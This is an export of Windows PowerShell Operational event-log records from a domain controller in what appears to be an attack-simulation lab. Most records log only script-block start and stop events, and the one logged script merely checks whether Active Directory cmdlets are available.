User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478777
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478776
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478774
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478773
Keywords=None
Message=Started invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478772
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478770
Keywords=None
Message=Started invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478769
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478768
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478767
Keywords=None
Message=Completed invocation of ScriptBlock ID: a8e4500d-dea0-4c12-9b07-1211b99fa9eb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478766
Keywords=None
Message=Completed invocation of ScriptBlock ID: a94aafd9-20d5-4b97-804a-d64f984a7294
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478765
Keywords=None
Message=Started invocation of ScriptBlock ID: a94aafd9-20d5-4b97-804a-d64f984a7294
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478764
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5ee3323a-da1a-4e88-80c7-27401c836ac4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478763
Keywords=None
Message=Started invocation of ScriptBlock ID: 5ee3323a-da1a-4e88-80c7-27401c836ac4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478762
Keywords=None
Message=Completed invocation of ScriptBlock ID: b1ab4dc0-74ec-44f5-99a1-740f0f3055f2
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478760
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478759
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478758
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478757
Keywords=None
Message=Started invocation of ScriptBlock ID: b1ab4dc0-74ec-44f5-99a1-740f0f3055f2
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478756
Keywords=None
Message=Started invocation of ScriptBlock ID: a8e4500d-dea0-4c12-9b07-1211b99fa9eb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 18112540-b6c5-4351-8b4f-3433ca6f80bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478754
Keywords=None
Message=Started invocation of ScriptBlock ID: 18112540-b6c5-4351-8b4f-3433ca6f80bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478753
Keywords=None
Message=Completed invocation of ScriptBlock ID: a8e4500d-dea0-4c12-9b07-1211b99fa9eb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478752
Keywords=None
Message=Completed invocation of ScriptBlock ID: a94aafd9-20d5-4b97-804a-d64f984a7294
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478751
Keywords=None
Message=Started invocation of ScriptBlock ID: a94aafd9-20d5-4b97-804a-d64f984a7294
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478750
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5ee3323a-da1a-4e88-80c7-27401c836ac4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478749
Keywords=None
Message=Started invocation of ScriptBlock ID: 5ee3323a-da1a-4e88-80c7-27401c836ac4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478748
Keywords=None
Message=Completed invocation of ScriptBlock ID: b1ab4dc0-74ec-44f5-99a1-740f0f3055f2
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478746
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478745
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478744
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478743
Keywords=None
Message=Started invocation of ScriptBlock ID: b1ab4dc0-74ec-44f5-99a1-740f0f3055f2
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478742
Keywords=None
Message=Started invocation of ScriptBlock ID: a8e4500d-dea0-4c12-9b07-1211b99fa9eb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 18112540-b6c5-4351-8b4f-3433ca6f80bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478740
Keywords=None
Message=Started invocation of ScriptBlock ID: 18112540-b6c5-4351-8b4f-3433ca6f80bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478739
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478738
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478736
Keywords=None
Message=Completed invocation of ScriptBlock ID: b6cc795c-e37b-4d73-8dc4-a4bc01fa13ee
Runspace ID: 0a0df633-77db-48df-92b0-f70916f4e560
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 452fa818-f7e7-4534-b881-7159e414064e
Runspace ID: 0a0df633-77db-48df-92b0-f70916f4e560
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478734
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9ba43aee-8949-46d3-badb-6615fde995c8
Runspace ID: 0a0df633-77db-48df-92b0-f70916f4e560
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478733
Keywords=None
Message=Started invocation of ScriptBlock ID: 9ba43aee-8949-46d3-badb-6615fde995c8
Runspace ID: 0a0df633-77db-48df-92b0-f70916f4e560
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478732
Keywords=None
Message=Started invocation of ScriptBlock ID: 452fa818-f7e7-4534-b881-7159e414064e
Runspace ID: 0a0df633-77db-48df-92b0-f70916f4e560
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478731
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{if ((Get-Command "Get-ADDomain" -ErrorAction Ignore) -And (Get-Command "Get-ADGroupMember" -ErrorAction Ignore)) { exit 0 } else { exit 1 }}
ScriptBlock ID: 452fa818-f7e7-4534-b881-7159e414064e
Path:
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478730
Keywords=None
Message=Started invocation of ScriptBlock ID: b6cc795c-e37b-4d73-8dc4-a4bc01fa13ee
Runspace ID: 0a0df633-77db-48df-92b0-f70916f4e560
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478729
Keywords=None
Message=Creating Scriptblock text (1 of 1):
& {if ((Get-Command "Get-ADDomain" -ErrorAction Ignore) -And (Get-Command "Get-ADGroupMember" -ErrorAction Ignore)) { exit 0 } else { exit 1 }}
ScriptBlock ID: b6cc795c-e37b-4d73-8dc4-a4bc01fa13ee
Path:
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1478728
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1478727
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 728 in AppDomain: DefaultAppDomain.
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1478726
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478899
Keywords=None
Message=Started invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478898
Keywords=None
Message=Completed invocation of ScriptBlock ID: 267f98f6-4cca-4a2b-ae91-576c5f578229
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478896
Keywords=None
Message=Started invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
